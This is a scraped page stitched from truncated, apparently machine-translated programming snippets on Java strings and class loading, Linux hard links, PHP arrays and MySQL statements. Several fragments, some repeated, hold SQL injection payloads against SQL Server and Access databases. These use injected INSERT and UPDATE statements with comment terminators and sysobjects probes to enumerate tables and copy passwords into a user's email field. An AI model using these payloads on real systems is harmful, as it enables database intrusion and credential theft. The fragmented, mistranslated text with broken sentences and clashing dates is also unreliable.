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First of all, please take a look at the following output results. Please think carefully and do not answer them so quickly! String STR = new string ("AAA"); string str2 = new string ("AAA"); system. out. println (STR = str2); system. out. println ("----------------"); string str3 = "BBB"; string str4 = "BBB"; system. out. println (str3 = str4); system. out. println ("----------------"); string str5 = new

the system does not re-allocate inode for it.You can use the ln command to create a hard link. Reference ln [Options] existingfile newfile Ln [Options] existingfile-List Directory Usage:First, create a hard link for "existingfile". The file name is "newfile ".In the "directory" directory, create a hard link with the same name for all files contained in "existingfile-list.Commonly used [Options]:-F creates a link regardless of whether "newfile" exists or not. -N if "newfile" already exists, no l

) + char (0x72) + char (0x69) + char (0x73), char (0x63) + char (0x68) + char (0x72) + char (0x69) + char (0x73), 0 xffff )--Insert into users values (667,123,123, 0 xffff )--Insert into users values (123, admin --, password, 0 xffff )--; And user> 0; And (select count (*) from sysobjects)> 0; And (select count (*) from mysysobjects)> 0 // access_blank> DatabaseName of a data table; Update aaa set aaa = (se

name = FFFF ;-- ; Update [users] Set email = (select top 1 PWD from password where id = 2) Where name = FFFF ;-- ; Update [users] Set email = (select top 1 name from password where id = 2) Where name = FFFF ;-- The preceding statement is used to obtain the first user table in the database and put the table name in the FFFF user's mailbox field. By viewing FFFF user information, you can obtain the first table named ad. Then, the ID of the table is obtained based on the table name ad. The name of

Php array (2) add elements to the array header Array_unshift ($ states, 'AAA'); add aaa to the header of the array $ states, that is, the first Add elements at the end of the array Array_push ($ states, 'AAA'); add aaa to the end of the array $ states, that is, the lastDelete element from array header Array_shift ($

) + char (0x73), 0 xffff )-- Insert into users values (667,123,123, 0 xffff )-- Insert into users values (123, admin --, password, 0 xffff )-- ; And user> 0 ; And (select count (*) from sysobjects)> 0 ; And (select count (*) from mysysobjects)> 0 // name of the data table in the access Database ; Update aaa set aaa = (select top 1 name from sysobjects where xtype = u and Status> 0 );-- This is to update the

all records of the table Select * from employee; // View all codes used by the data Show variables like 'character % '; // Modify the client encoding to GBK Set character_set_client = GBK; // Modify the result set encoding to GBK. Set character_set_results = GBK; // Other insert statements Create Table ( Username varchar (20 ), Password varchar (20) ); Insert into a values ('zs', '123 '); Insert into a values ('wangw', '000000'), ('lisi', '000000 '); Insert a valu

;--; Update [users] Set email = (select top 1 PWD from password where id = 2) Where name = FFFF ;--; Update [users] Set email = (select top 1 name from password where id = 2) Where name = FFFF ;--The above statement is to get the first user table in the _ blank> database, and put the table name in the FFFF user's mailbox field.By viewing FFFF user information, you can obtain the first table named ad.Then, the ID of the table is obtained based on the table name ad. The name of the second table i

, sex, birthday, salary, entry_date, resume) values (1, 'hangsan', 'male', '2017-11-23 ', 1987, '2017-2-18', 'Good boy '); insert into employee (id, name, sex, birthday, salary, entry_date, resume) values (2, 'wangwu', 'male', '2017-11-23 ', 1988, '2017-2-18 ', 'Good boy '); insert into employee (id, name, sex, birthday, salary, entry_date, Resume) values (3, 'xiaohong ', 'female', '2017-11-23 ', 1983, '2017-2-18', 'Good girl '); insert into employee (id, name, sex, birthday, salary, entry_date,

How does php compare whether two arrays are equal to two arrays? $ aarray (aaa, bbb, ddd, aaa); $ barray (aaa, ddd, aaa, bbb ); to determine whether the two arrays are equal, the premise is that they cannot be sorted using built-in functions such as sort. If you must use a built-in function, which sort function is the

Java class loading sequence and java Loading Sequence Java class loading sequence I. Loading Sequence 1. initialize static member variables of the parent class 1.1 static code block 1.2. Common Code Block 1.3 No parameter Constructor 2. Static code block of the parent class 3. initialize static member variables of subclass 3.1 static code block 3.2. Common Code Block 3.3 No parameter Constructor 4. Static code blocks of child classes 5. initialize common member variables of the parent class 5.1

Class loading order for JavaFirst, load order1. Initialization of the static member variable of the parent class1.1. Static code block1.2, ordinary code block1.3, no parameter constructor2. Static code block for parent class3. Initialization of a static member variable of a subclass　　3.1. Static code block　　3.2, ordinary code block3.3, no parameter constructor4. Static code blocks for subclasses5. The normal member variable of the parent class is initialized5.1. Static code block5.2, ordinary co